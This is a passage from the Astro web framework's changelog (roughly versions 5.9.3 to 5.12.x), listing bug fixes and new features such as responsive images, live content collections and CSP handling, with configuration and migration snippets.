[@&#8203;jp-knj](https://github.com/jp-knj)! - Fixes a regression introduced by a recent optimisation of how SVG images are emitted during the build. - [#&#8203;14156](https://github.com/withastro/astro/pull/14156) [`592f08d`](https://github.com/withastro/astro/commit/592f08d1b4a3e03c61b34344e36cb772bd67709a) Thanks [@&#8203;TheOtterlord](https://github.com/TheOtterlord)! - Fix the client router not submitting forms if the active URL contained a hash - [#&#8203;14160](https://github.com/withastro/astro/pull/14160) [`d2e25c6`](https://github.com/withastro/astro/commit/d2e25c6e9d52160d4f8d8cbf7bc44e6794483f20) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that meant some remote image URLs could cause invalid filenames to be used for processed images - [#&#8203;14167](https://github.com/withastro/astro/pull/14167) [`62bd071`](https://github.com/withastro/astro/commit/62bd0717ab810c049ed7f3f63029895dfb402797) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that prevented destroyed sessions from being deleted from storage unless the session had been loaded ### [`v5.12.5`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5125) [Compare Source](https://github.com/withastro/astro/compare/astro@5.12.4...astro@5.12.5) ##### Patch Changes - [#&#8203;14059](https://github.com/withastro/astro/pull/14059) [`19f53eb`](https://github.com/withastro/astro/commit/19f53eb59dfeeff08078cec0a903c8722b5650ca) Thanks [@&#8203;benosmac](https://github.com/benosmac)! - Fixes a bug in i18n implementation, where Astro didn't emit the correct pages when `fallback` is enabled, and a locale uses a catch-all route, e.g. `src/pages/es/[...catchAll].astro` - [#&#8203;14155](https://github.com/withastro/astro/pull/14155) [`31822c3`](https://github.com/withastro/astro/commit/31822c3f0c8401e20129d0fc6bf8d1d670249265) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused an error "serverEntrypointModule\[\_start] is not a function" in some adapters ### [`v5.12.4`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5124) [Compare Source](https://github.com/withastro/astro/compare/astro@5.12.3...astro@5.12.4) ##### Patch Changes - [#&#8203;14031](https://github.com/withastro/astro/pull/14031) [`e9206c1`](https://github.com/withastro/astro/commit/e9206c192fc4a4dbf2d02f921fa540f987ccbe89) Thanks [@&#8203;jp-knj](https://github.com/jp-knj)! - Optimized the build pipeline for SVG images. Now, Astro doesn't reprocess images that have already been processed. - [#&#8203;14132](https://github.com/withastro/astro/pull/14132) [`976879a`](https://github.com/withastro/astro/commit/976879a400af9f44aee52c9112a7bd9788163588) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where the property `Astro.routePattern`/`context.routePattern` wasn't updated when using a rewrite via middleware. - [#&#8203;14131](https://github.com/withastro/astro/pull/14131) [`aafc4d7`](https://github.com/withastro/astro/commit/aafc4d7f8b3f198ace24a8a7f6cc9298771542da) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where an error occurring in a middleware would show the dev overlay instead of the custom `500.astro` page - [#&#8203;14127](https://github.com/withastro/astro/pull/14127) [`2309ada`](https://github.com/withastro/astro/commit/2309ada1c6d96c75815eda0760656147de435ba2) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Upgrades zod - [#&#8203;14134](https://github.com/withastro/astro/pull/14134) [`186c201`](https://github.com/withastro/astro/commit/186c201a1bd83593c880ab784d79f69245b445c2) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Throws a more helpful error in dev if trying to use a server island without an adapter - [#&#8203;14129](https://github.com/withastro/astro/pull/14129) [`3572d85`](https://github.com/withastro/astro/commit/3572d85ba89ef9c374f3631654eee704adf00e73) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where the CSP headers was incorrectly added to a page when using an adapter. ### [`v5.12.3`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5123) [Compare Source](https://github.com/withastro/astro/compare/astro@5.12.2...astro@5.12.3) ##### Patch Changes - [#&#8203;14119](https://github.com/withastro/astro/pull/14119) [`14807a4`](https://github.com/withastro/astro/commit/14807a4581b5ba2e61bc63ef9ef9f14848564edd) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused builds to fail if a client directive was mistakenly added to an Astro component - [#&#8203;14001](https://github.com/withastro/astro/pull/14001) [`4b03d9c`](https://github.com/withastro/astro/commit/4b03d9c9d9237d9af38425062559eafdfc27f76f) Thanks [@&#8203;dnek](https://github.com/dnek)! - Fixes an issue where `getImage()` assigned the resized base URL to the srcset URL of `ImageTransform`, which matched the width, height, and format of the original image. ### [`v5.12.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5122) [Compare Source](https://github.com/withastro/astro/compare/astro@5.12.1...astro@5.12.2) ##### Patch Changes - [#&#8203;14071](https://github.com/withastro/astro/pull/14071) [`d2cb35d`](https://github.com/withastro/astro/commit/d2cb35d2b7ff999fea8aa39c79f9f048c3500aeb) Thanks [@&#8203;Grisoly](https://github.com/Grisoly)! - Exposes the `Code` component `lang` prop type: ```ts import type { CodeLanguage } from 'astro'; ``` - [#&#8203;14111](https://github.com/withastro/astro/pull/14111) [`5452ee6`](https://github.com/withastro/astro/commit/5452ee67f95f51dcfdca8c1988b29f89553efe1c) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that prevented "key" from being used as a prop for Astro components in MDX - [#&#8203;14106](https://github.com/withastro/astro/pull/14106) [`b5b39e4`](https://github.com/withastro/astro/commit/b5b39e4d4bf5e5816bccf7fbfd9a48e4d8ee302a) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Exits with non-zero exit code when config has an error - [#&#8203;14112](https://github.com/withastro/astro/pull/14112) [`37458b3`](https://github.com/withastro/astro/commit/37458b31aeee23df0b5a8ab9e319a23ee4eddc6d) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that meant that SVG components could no longer be serialized with `JSON.stringify` - [#&#8203;14061](https://github.com/withastro/astro/pull/14061) [`c7a7dd5`](https://github.com/withastro/astro/commit/c7a7dd5f612b302f02a0ff468beeadd8e142a5ad) Thanks [@&#8203;jonasgeiler](https://github.com/jonasgeiler)! - Add module declaration for `?no-inline` asset imports - [#&#8203;14109](https://github.com/withastro/astro/pull/14109) [`5a08fa2`](https://github.com/withastro/astro/commit/5a08fa22b4023810fea45876f62152bd196e6062) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Throw a more helpful error if defineLiveCollection is used outside of a live.config file - [#&#8203;14110](https://github.com/withastro/astro/pull/14110) [`e7dd4e1`](https://github.com/withastro/astro/commit/e7dd4e1116103892ddc6a83052c8f1ba25d8abdc) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Warn if duplicate IDs are found by file loader ### [`v5.12.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5121) [Compare Source](https://github.com/withastro/astro/compare/astro@5.12.0...astro@5.12.1) ##### Patch Changes - [#&#8203;14094](https://github.com/withastro/astro/pull/14094) [`22e9087`](https://github.com/withastro/astro/commit/22e90873f85d7b5b5d556f456362656f04b32341) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Correct types to allow `priority` on all images - [#&#8203;14091](https://github.com/withastro/astro/pull/14091) [`26c6b6d`](https://github.com/withastro/astro/commit/26c6b6db264f9cbd98ddf97c3f7a34ec7f488095) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused a type error when defining session options without a driver - [#&#8203;14082](https://github.com/withastro/astro/pull/14082) [`93322cb`](https://github.com/withastro/astro/commit/93322cbe36c40401256eea2a9e34f5fbe13a28ec) Thanks [@&#8203;louisescher](https://github.com/louisescher)! - Fixes an issue where Astro's default 404 route would incorrectly match routes containing "/404" in dev - [#&#8203;14089](https://github.com/withastro/astro/pull/14089) [`687d253`](https://github.com/withastro/astro/commit/687d25365a41ff8a9e6da155d3527f841abb70dd) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where `astro:env` would not load the right environments variables in dev - [#&#8203;14092](https://github.com/withastro/astro/pull/14092) [`6692c71`](https://github.com/withastro/astro/commit/6692c71ed609690ebf6a697d88582130a5cbfdfb) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Improves error handling in live collections - [#&#8203;14074](https://github.com/withastro/astro/pull/14074) [`144a950`](https://github.com/withastro/astro/commit/144a950b55f22c2beeff710e5672e9fa611520b3) Thanks [@&#8203;abcfy2](https://github.com/abcfy2)! - Fixes a bug that caused some image service builds to fail - [#&#8203;14092](https://github.com/withastro/astro/pull/14092) [`6692c71`](https://github.com/withastro/astro/commit/6692c71ed609690ebf6a697d88582130a5cbfdfb) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a case where zod could not be imported from `astro:content` virtual module in live collection config ### [`v5.12.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5120) [Compare Source](https://github.com/withastro/astro/compare/astro@5.11.2...astro@5.12.0) ##### Minor Changes - [#&#8203;13971](https://github.com/withastro/astro/pull/13971) [`fe35ee2`](https://github.com/withastro/astro/commit/fe35ee2835997e7e6c3e1975dc6dacfa1052a765) Thanks [@&#8203;adamhl8](https://github.com/adamhl8)! - Adds an experimental flag `rawEnvValues` to disable coercion of `import.meta.env` values (e.g. converting strings to other data types) that are populated from `process.env` Astro allows you to configure a [type-safe schema for your environment variables](https://docs.astro.build/en/guides/environment-variables/#type-safe-environment-variables), and converts variables imported via `astro:env` into the expected type. However, Astro also converts your environment variables used through `import.meta.env` in some cases, and this can prevent access to some values such as the strings `"true"` (which is converted to a boolean value), and `"1"` (which is converted to a number). The `experimental.rawEnvValues` flag disables coercion of `import.meta.env` values that are populated from `process.env`, allowing you to use the raw value. To enable this feature, add the experimental flag in your Astro config: ```diff import { defineConfig } from "astro/config" export default defineConfig({ + experimental: { + rawEnvValues: true, + } }) ``` If you were relying on this coercion, you may need to update your project code to apply it manually: ```ts diff - const enabled: boolean = import.meta.env.ENABLED + const enabled: boolean = import.meta.env.ENABLED === "true" ``` See the [experimental raw environment variables reference docs](https://docs.astro.build/en/reference/experimental-flags/raw-env-values/) for more information. - [#&#8203;13941](https://github.com/withastro/astro/pull/13941) [`6bd5f75`](https://github.com/withastro/astro/commit/6bd5f75806cb4df39d9e4e9b1f2225dcfdd724b0) Thanks [@&#8203;aditsachde](https://github.com/aditsachde)! - Adds support for TOML files to Astro's built-in `glob()` and `file()` content loaders. In Astro 5.2, Astro added support for using TOML frontmatter in Markdown files instead of YAML. However, if you wanted to use TOML files as local content collection entries themselves, you needed to write your own loader. Astro 5.12 now directly supports loading data from TOML files in content collections in both the `glob()` and the `file()` loaders. If you had added your own TOML content parser for the `file()` loader, you can now remove it as this functionality is now included: ```diff // src/content.config.ts import { defineCollection } from "astro:content"; import { file } from "astro/loaders"; - import { parse as parseToml } from "toml"; const dogs = defineCollection({ - loader: file("src/data/dogs.toml", { parser: (text) => parseToml(text) }), + loader: file("src/data/dogs.toml") schema: /* ... */ }) ``` Note that TOML does not support top-level arrays. Instead, the `file()` loader considers each top-level table to be an independent entry. The table header is populated in the `id` field of the entry object. See Astro's [content collections guide](https://docs.astro.build/en/guides/content-collections/#built-in-loaders) for more information on using the built-in content loaders. ##### Patch Changes - Updated dependencies \[[`6bd5f75`](https://github.com/withastro/astro/commit/6bd5f75806cb4df39d9e4e9b1f2225dcfdd724b0)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;6.3.3 ### [`v5.11.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5112) [Compare Source](https://github.com/withastro/astro/compare/astro@5.11.1...astro@5.11.2) ##### Patch Changes - [#&#8203;14064](https://github.com/withastro/astro/pull/14064) [`2eb77d8`](https://github.com/withastro/astro/commit/2eb77d8f54be3faea38370693d33fb220231ea84) Thanks [@&#8203;jp-knj](https://github.com/jp-knj)! - Allows using `tsconfig` `compilerOptions.paths` without setting `compilerOptions.baseUrl` - [#&#8203;14068](https://github.com/withastro/astro/pull/14068) [`10189c0`](https://github.com/withastro/astro/commit/10189c0b44881fd22bac69acc182834d597d9603) Thanks [@&#8203;jsparkdev](https://github.com/jsparkdev)! - Fixes the incorrect CSS import path shown in the terminal message during Tailwind integration setup. ### [`v5.11.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5111) [Compare Source](https://github.com/withastro/astro/compare/astro@5.11.0...astro@5.11.1) ##### Patch Changes - [#&#8203;14045](https://github.com/withastro/astro/pull/14045) [`3276b79`](https://github.com/withastro/astro/commit/3276b798d4ecb41c98f97e94d4ddeaa91aa25013) Thanks [@&#8203;ghubo](https://github.com/ghubo)! - Fixes a problem where importing animated `.avif` files returns a `NoImageMetadata` error. - [#&#8203;14041](https://github.com/withastro/astro/pull/14041) [`0c4d5f8`](https://github.com/withastro/astro/commit/0c4d5f8d57d166fc24d12b37cf208d263f330868) Thanks [@&#8203;dixslyf](https://github.com/dixslyf)! - Fixes a `<ClientRouter />` bug where the fallback view transition animations when exiting a page ran too early for browsers that do not support the View Transition API. This bug prevented `event.viewTransition?.skipTransition()` from skipping the page exit animation when used in an `astro:before-swap` event hook. ### [`v5.11.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5110) [Compare Source](https://github.com/withastro/astro/compare/astro@5.10.2...astro@5.11.0) ##### Minor Changes - [#&#8203;13972](https://github.com/withastro/astro/pull/13972) [`db8f8be`](https://github.com/withastro/astro/commit/db8f8becc9508fa4f292d45c14af92ba59c414d1) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Updates the `NodeApp.match()` function in the Adapter API to accept a second, optional parameter to allow adapter authors to add headers to static, prerendered pages. `NodeApp.match(request)` currently checks whether there is a route that matches the given `Request`. If there is a prerendered route, the function returns `undefined`, because static routes are already rendered and their headers cannot be updated. When the new, optional boolean parameter is passed (e.g. `NodeApp.match(request, true)`), Astro will return the first matched route, even when it's a prerendered route. This allows your adapter to now access static routes and provides the opportunity to set headers for these pages, for example, to implement a Content Security Policy (CSP). ##### Patch Changes - [#&#8203;14029](https://github.com/withastro/astro/pull/14029) [`42562f9`](https://github.com/withastro/astro/commit/42562f9d7b0bef173aca631f9d59e1bf000133c5) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where server islands wouldn't be correctly rendered when they are rendered inside fragments. Now the following examples work as expected: ```astro --- import { Cart } from '../components/Cart.astro'; --- <> <Cart server:defer /> </> <Fragment slot="rest"> <Cart server:defer> <div slot="fallback">Not working</div> </Cart> </Fragment> ``` - [#&#8203;14017](https://github.com/withastro/astro/pull/14017) [`8d238bc`](https://github.com/withastro/astro/commit/8d238bcb21f1d3863d4e86bf0064d98390936208) Thanks [@&#8203;dmgawel](https://github.com/dmgawel)! - Fixes a bug where i18n fallback rewrites didn't work in dynamic pages. ### [`v5.10.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5102) [Compare Source](https://github.com/withastro/astro/compare/astro@5.10.1...astro@5.10.2) ##### Patch Changes - [#&#8203;14000](https://github.com/withastro/astro/pull/14000) [`3cbedae`](https://github.com/withastro/astro/commit/3cbedae129579b93f5c18c900ae66c6c11c46da5) Thanks [@&#8203;feelixe](https://github.com/feelixe)! - Fix routePattern JSDoc examples to show correct return values - [#&#8203;13990](https://github.com/withastro/astro/pull/13990) [`de6cfd6`](https://github.com/withastro/astro/commit/de6cfd6dc8e53911190b2b5788e0508e557f86eb) Thanks [@&#8203;isVivek99](https://github.com/isVivek99)! - Fixes a case where `astro:config/client` and `astro:config/server` virtual modules would not contain config passed to integrations `updateConfig()` during the build - [#&#8203;14019](https://github.com/withastro/astro/pull/14019) [`a160d1e`](https://github.com/withastro/astro/commit/a160d1e8b711b7a214e54406fdf85be2b7338ed2) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Removes the requirement to set `type: 'live'` when defining experimental live content collections Previously, live collections required a `type` and `loader` configured. Now, Astro can determine that your collection is a `live` collection without defining it explicitly. This means it is now safe to remove `type: 'live'` from your collections defined in `src/live.config.ts`: ```diff import { defineLiveCollection } from 'astro:content'; import { storeLoader } from '@&#8203;mystore/astro-loader'; const products = defineLiveCollection({ - type: 'live', loader: storeLoader({ apiKey: process.env.STORE_API_KEY, endpoint: 'https://api.mystore.com/v1', }), }); export const collections = { products }; ``` This is not a breaking change: your existing live collections will continue to work even if you still include `type: 'live'`. However, we suggest removing this line at your earliest convenience for future compatibility when the feature becomes stable and this config option may be removed entirely. - [#&#8203;13966](https://github.com/withastro/astro/pull/13966) [`598da21`](https://github.com/withastro/astro/commit/598da21746a6b9cda023c818804b32dc37b9819b) Thanks [@&#8203;msamoylov](https://github.com/msamoylov)! - Fixes a broken link on the default 404 page in development ### [`v5.10.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5101) [Compare Source](https://github.com/withastro/astro/compare/astro@5.10.0...astro@5.10.1) ##### Patch Changes - [#&#8203;13988](https://github.com/withastro/astro/pull/13988) [`609044c`](https://github.com/withastro/astro/commit/609044ca6a6254b1db11bb3fc8e0bb54213eab8e) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug in live collections that caused it to incorrectly complain about the collection being defined in the wrong file - [#&#8203;13909](https://github.com/withastro/astro/pull/13909) [`b258d86`](https://github.com/withastro/astro/commit/b258d86d47086d3a17d6d9e6b79ac21f9770f765) Thanks [@&#8203;isVivek99](https://github.com/isVivek99)! - Fixes rendering of special boolean attributes for custom elements - [#&#8203;13983](https://github.com/withastro/astro/pull/13983) [`e718375`](https://github.com/withastro/astro/commit/e718375c1714a631eba75f70118653cf93a4326d) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where the toolbar audit would incorrectly flag images processed by Astro in content collections documents - [#&#8203;13999](https://github.com/withastro/astro/pull/13999) [`f077b68`](https://github.com/withastro/astro/commit/f077b68f4debe8d716a8610e561b4fe17b1245b3) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds `lastModified` field to experimental live collection cache hints Live loaders can now set a `lastModified` field in the cache hints for entries and collections to indicate when the data was last modified. This is then available in the `cacheHint` field returned by `getCollection` and `getEntry`. - [#&#8203;13987](https://github.com/withastro/astro/pull/13987) [`08f34b1`](https://github.com/withastro/astro/commit/08f34b19c8953426ce35093414a27ecd8d405309) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds an informative message in dev mode when the CSP feature is enabled. - [#&#8203;14005](https://github.com/withastro/astro/pull/14005) [`82aad62`](https://github.com/withastro/astro/commit/82aad62efd2b817cc9cff46b606fedaa64e0c922) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where inline styles and scripts didn't work when CSP was enabled. Now when adding `<styles>` elements inside an Astro component, their hashes care correctly computed. - [#&#8203;13985](https://github.com/withastro/astro/pull/13985) [`0b4c641`](https://github.com/withastro/astro/commit/0b4c641b22b31d0dea15911c0daba995a48261a9) Thanks [@&#8203;jsparkdev](https://github.com/jsparkdev)! - Updates wrong link ### [`v5.10.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5100) [Compare Source](https://github.com/withastro/astro/compare/astro@5.9.4...astro@5.10.0) ##### Minor Changes - [#&#8203;13917](https://github.com/withastro/astro/pull/13917) [`e615216`](https://github.com/withastro/astro/commit/e615216c55bca5d61b8c5c1b49d62671f0238509) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds a new `priority` attribute for Astro's image components. This change introduces a new `priority` option for the `<Image />` and `<Picture />` components, which automatically sets the `loading`, `decoding`, and `fetchpriority` attributes to their optimal values for above-the-fold images which should be loaded immediately. It is a boolean prop, and you can use the shorthand syntax by simply adding `priority` as a prop to the `<Image />` or `<Picture />` component. When set, it will apply the following attributes: - `loading="eager"` - `decoding="sync"` - `fetchpriority="high"` The individual attributes can still be set manually if you need to customize your images further. By default, the Astro [`<Image />` component](https://docs.astro.build/en/guides/images/#display-optimized-images-with-the-image--component) generates `<img>` tags that lazy-load their content by setting `loading="lazy"` and `decoding="async"`. This improves performance by deferring the loading of images that are not immediately visible in the viewport, and gives the best scores in performance audits like Lighthouse. The new `priority` attribute will override those defaults and automatically add the best settings for your high-priority assets. This option was previously available for experimental responsive images, but now it is a standard feature for all images. ##### Usage ```astro <Image src="/path/to/image.jpg" alt="An example image" priority /> ``` > \[!Note] > You should only use the `priority` option for images that are critical to the initial rendering of the page, and ideally only one image per page. This is often an image identified as the [LCP element](https://web.dev/articles/lcp) when running Lighthouse tests. Using it for too many images will lead to performance issues, as it forces the browser to load those images immediately, potentially blocking the rendering of other content. - [#&#8203;13917](https://github.com/withastro/astro/pull/13917) [`e615216`](https://github.com/withastro/astro/commit/e615216c55bca5d61b8c5c1b49d62671f0238509) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - The responsive images feature introduced behind a flag in [v5.0.0](https://github.com/withastro/astro/blob/main/packages/astro/CHANGELOG.md#500) is no longer experimental and is available for general use. The new responsive images feature in Astro automatically generates optimized images for different screen sizes and resolutions, and applies the correct attributes to ensure that images are displayed correctly on all devices. Enable the `image.responsiveStyles` option in your Astro config. Then, set a `layout` attribute on any <Image /> or <Picture /> component, or configure a default `image.layout`, for instantly responsive images with automatically generated `srcset` and `sizes` attributes based on the image's dimensions and the layout type. Displaying images correctly on the web can be challenging, and is one of the most common performance issues seen in sites. This new feature simplifies the most challenging part of the process: serving your site visitor an image optimized for their viewing experience, and for your website's performance. For full details, see the updated [Image guide](https://docs.astro.build/en/guides/images/#responsive-image-behavior). ##### Migration from Experimental Responsive Images The `experimental.responsiveImages` flag has been removed, and all experimental image configuration options have been renamed to their final names. If you were using the experimental responsive images feature, you'll need to update your configuration: ##### Remove the experimental flag ```diff export default defineConfig({ experimental: { - responsiveImages: true, }, }); ``` ##### Update image configuration options During the experimental phase, default styles were applied automatically to responsive images. Now, you need to explicitly set the `responsiveStyles` option to `true` if you want these styles applied. ```diff export default defineConfig({ image: { + responsiveStyles: true, }, }); ``` The experimental image configuration options have been renamed: **Before:** ```js export default defineConfig({ image: { experimentalLayout: 'constrained', experimentalObjectFit: 'cover', experimentalObjectPosition: 'center', experimentalBreakpoints: [640, 750, 828, 1080, 1280], experimentalDefaultStyles: true, }, experimental: { responsiveImages: true, }, }); ``` **After:** ```js export default defineConfig({ image: { layout: 'constrained', objectFit: 'cover', objectPosition: 'center', breakpoints: [640, 750, 828, 1080, 1280], responsiveStyles: true, // This is now *false* by default }, }); ``` ##### Component usage remains the same The `layout`, `fit`, and `position` props on `<Image>` and `<Picture>` components work exactly the same as before: ```astro <Image src={myImage} alt="A responsive image" layout="constrained" fit="cover" position="center" /> ``` If you weren't using the experimental responsive images feature, no changes are required. Please see the [Image guide](https://docs.astro.build/en/guides/images/#responsive-image-behavior) for more information on using responsive images in Astro. - [#&#8203;13685](https://github.com/withastro/astro/pull/13685) [`3c04c1f`](https://github.com/withastro/astro/commit/3c04c1f43027e2f9be0854f65c549fa1832f622a) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds experimental support for live content collections Live content collections are a new type of [content collection](https://docs.astro.build/en/guides/content-collections/) that fetch their data at runtime rather than build time. This allows you to access frequently-updated data from CMSs, APIs, databases, or other sources using a unified API, without needing to rebuild your site when the data changes. ##### Live collections vs build-time collections In Astro 5.0, the content layer API added support for adding diverse content sources to content collections. You can create loaders that fetch data from any source at build time, and then access it inside a page via `getEntry()` and `getCollection()`. The data is cached between builds, giving fast access and updates. However there is no method for updating the data store between builds, meaning any updates to the data need a full site deploy, even if the pages are rendered on-demand. This means that content collections are not suitable for pages that update frequently. Instead, today these pages tend to access the APIs directly in the frontmatter. This works, but leads to a lot of boilerplate, and means users don't benefit from the simple, unified API that content loaders offer. In most cases users tend to individually create loader libraries that they share between pages. Live content collections solve this problem by allowing you to create loaders that fetch data at runtime, rather than build time. This means that the data is always up-to-date, without needing to rebuild the site. ##### How to use To enable live collections add the `experimental.liveContentCollections` flag to your `astro.config.mjs` file: ```js title="astro.config.mjs" { experimental: { liveContentCollections: true, }, } ``` Then create a new `src/live.config.ts` file (alongside your `src/content.config.ts` if you have one) to define your live collections with a [live loader](https://docs.astro.build/en/reference/experimental-flags/live-content-collections/#creating-a-live-loader) and optionally a [schema](https://docs.astro.build/en/reference/experimental-flags/live-content-collections/#using-zod-schemas) using the new `defineLiveCollection()` function from the `astro:content` module. ```ts title="src/live.config.ts" import { defineLiveCollection } from 'astro:content'; import { storeLoader } from '@&#8203;mystore/astro-loader'; const products = defineLiveCollection({ type: 'live', loader: storeLoader({ apiKey: process.env.STORE_API_KEY, endpoint: 'https://api.mystore.com/v1', }), }); export const collections = { products }; ``` You can then use the dedicated `getLiveCollection()` and `getLiveEntry()` functions to access your live data: ```astro --- import { getLiveCollection, getLiveEntry, render } from 'astro:content'; // Get all products const { entries: allProducts, error } = await getLiveCollection('products'); if (error) { // Handle error appropriately console.error(error.message); } // Get products with a filter (if supported by your loader) const { entries: electronics } = await getLiveCollection('products', { category: 'electronics' }); // Get a single product by ID (string syntax) const { entry: product, error: productError } = await getLiveEntry('products', Astro.params.id); if (productError) { return Astro.redirect('/404'); } // Get a single product with a custom query (if supported by your loader) using a filter object const { entry: productBySlug } = await getLiveEntry('products', { slug: Astro.params.slug }); const { Content } = await render(product); --- <h1>{product.title}</h1> <Content /> ``` See [the docs for the experimental live content collections feature](https://docs.astro.build/en/reference/experimental-flags/live-content-collections/) for more details on how to use this feature, including how to create a live loader. Please give feedback on [the RFC PR](https://github.com/withastro/roadmap/pull/1164) if you have any suggestions or issues. ##### Patch Changes - [#&#8203;13957](https://github.com/withastro/astro/pull/13957) [`304df34`](https://github.com/withastro/astro/commit/304df34b7c4ef69f3f6d93835b7a1e415666ddc9) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where `report-uri` wasn't available in `experimental.csp.directives`, causing a typing error and a runtime validation error. - [#&#8203;13957](https://github.com/withastro/astro/pull/13957) [`304df34`](https://github.com/withastro/astro/commit/304df34b7c4ef69f3f6d93835b7a1e415666ddc9) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a type error for the CSP directives `upgrade-insecure-requests`, `sandbox`, and `trusted-type`. - [#&#8203;13862](https://github.com/withastro/astro/pull/13862) [`fe8f61a`](https://github.com/withastro/astro/commit/fe8f61ab6dafe2c4da6d55db7316cd614927dd07) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where the dev toolbar would crash if it could not retrieve some essential data - [#&#8203;13976](https://github.com/withastro/astro/pull/13976) [`0a31d99`](https://github.com/withastro/astro/commit/0a31d9912de6b94f4e8fba3c820a00b6861dff19) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where Astro Actions types would be broken when using a `tsconfig.json` with `"moduleResolution": "nodenext"` ### [`v5.9.4`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#594) [Compare Source](https://github.com/withastro/astro/compare/astro@5.9.3...astro@5.9.4) ##### Patch Changes - [#&#8203;13951](https://github.com/withastro/astro/pull/13951) [`7eb88f1`](https://github.com/withastro/astro/commit/7eb88f1e9113943b47e35e9f0033ab516f0a4f40) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes an issue that caused errors when using an adapter-provided session driver with custom options - [#&#8203;13953](https://github.com/withastro/astro/pull/13953) [`448bddc`](https://github.com/withastro/astro/commit/448bddc49492c6a92a23735cd29a93baec0dda48) Thanks [@&#8203;zaitovalisher](https://github.com/zaitovalisher)! - Fixes a bug where quotes were not added to the 'strict-dynamic' CSP directive ### [`v5.9.3`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#593) [Compare Source](https://github.com/withastro/astro/compare/astro@5.9.2...astro@5.9.3) ##### Patch Changes - [#&#8203;13923](https://github.com/withastro/astro/pull/13923) [`a9ac5ed`](https://github.com/withastro/astro/commit/a9ac5ed3ff461d1c8e66fc40df3205df67c63059) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - **BREAKING CHANGE to the experimental Content Security Policy (CSP) only** Changes the behavior of experimental Content Security Policy (CSP) to now serve hashes differently depending on whether or not a page is prerendered: - Via the `<meta>` element for static pages. - Via the `Response` header `content-security-policy` for on-demand rendered pages. This new strategy allows you to add CSP content that is not supported in a `<meta>` element (e.g. `report-uri`, `frame-ancestors`, and sandbox directives) to on-demand rendered pages. No change to your project code is required as this is an implementation detail. However, this will result in a different HTML output for pages that are rendered on demand. Please check your production site to verify that CSP is working as intended. To keep up to date with this developing feature, or to leave feedback, visit the [CSP Roadmap proposal](https://github.com/withastro/roadmap/blob/feat/rfc-csp/proposals/0055-csp.md). - [#&#8203;13926](https://github.com/withastro/astro/pull/13926) [`953a249`](https://github.com/withastro/astro/commit/953a24924eda1ea564c97d10d68c97cbbc9db7a4) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds a new Astro Adapter Feature called `experimentalStaticHeaders` to allow your adapter to receive the `Headers` for rendered static pages. Adapters that enable support for this feature can access header values directly, affecting their handling of some Astro features such as Content Security Policy (CSP). For example, Astro will no longer serve the CSP `<meta http-equiv="content-security-policy">` element in static pages to adapters with this support. Astro will serve the value of the header inside a map that can be retrieved from the hook `astro:build:generated`. Adapters can read this mapping and use their hosting headers capabilities to create a configuration file. A new field called `experimentalRouteToHeaders` will contain a map of `Map<IntegrationResolvedRoute, Headers>` where the `Headers` type contains the headers emitted by the rendered static route. To enable support for this experimental Astro Adapter Feature, add it to your `adapterFeatures` in your adapter config: ```js // my-adapter.mjs export default function createIntegration() { return { name: 